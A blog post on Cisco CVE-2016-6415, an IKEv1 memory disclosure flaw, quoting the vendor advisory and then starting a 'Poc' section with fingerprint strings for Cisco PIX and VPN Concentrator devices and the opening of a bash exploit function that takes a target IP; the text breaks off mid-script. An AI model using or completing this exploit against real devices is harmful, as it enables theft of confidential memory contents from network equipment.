Vuln - Cisco - CVE-2016-6415 - IKE Information Disclosure-CSDN博客

本文链接：https://blog.csdn.net/nixawk/article/details/52705184

本文详细介绍了Cisco IOS、IOS XE和IOS XR软件中IKEv1包处理代码的一个漏洞，该漏洞可能导致未经授权的远程攻击者获取内存内容，从而泄露敏感信息。攻击者通过发送特制的IKEv1包到接受IKEv1安全协商请求的设备即可利用此漏洞。Cisco将发布软件更新以修复此问题，但目前无有效的工作绕过方案。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Summary
A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.

The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.

Cisco will release software updates that address this vulnerability. There are no workarounds that address this vulnerability.

This advisory is available at the following link:
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1

Poc

# [+] ---- Fingerprint: ---- [+]
# cisco pix
# cisco pix 6
# cisco pix 7
#
# 500/udp open  isakmp  udp-response Cisco VPN Concentrator 3000 4.0.7
# Cisco Systems, Inc./VPN 3000 Concentrator Version 4.7.2.L built by vmurphy on Jun 11 2007 14:07:29
# Vendor: Cisco Systems, Inc.
# Cisco Systems, Inc. 12.2
# Cisco Systems, Inc. 12.4
# Cisco Systems, Inc. 15.5
# Cisco Systems pix
# Cisco VPN Concentrator

function exploit
{

if [ -z "$1" ]; then
  echo "[*] please set a valid ip, ex: 8.8.8.8";
  exit 0;
fi

if [ -z